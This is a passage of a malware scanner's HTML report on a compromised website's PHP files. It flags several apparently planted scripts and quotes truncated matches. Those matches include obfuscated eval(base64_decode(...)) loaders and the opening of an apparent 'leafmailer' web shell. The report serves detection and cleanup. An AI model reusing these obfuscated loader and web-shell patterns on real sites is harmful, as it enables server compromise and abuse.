<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_98").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/faeol.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:58:22</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:58:22</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_99" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_99").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ovadyzqvu.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 19.06 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 20:10:28</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 20:10:28</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_100" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSvuX0l+i/6Jm9xfGkJT3L4yTp5urFQ/jX0Q...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$Shgrt</span><span style="color: #007700">(</span><span style="color: #0000BB">$sJhXG</span><span style="color: #007700">(</span><span style="color: #0000BB">$LNuWx</span><span style="color: #007700">(</span><span style="color: #0000BB">$DesQW</span><span style="color: #007700">(</span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSv...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RinY</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_100").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/msfzx.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:55:01</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:55:01</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_101" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_101").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/kkftq.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:44:00</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:44:00</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_102" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_102").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/mfruz.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 18:34:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 18:34:30</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_103" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
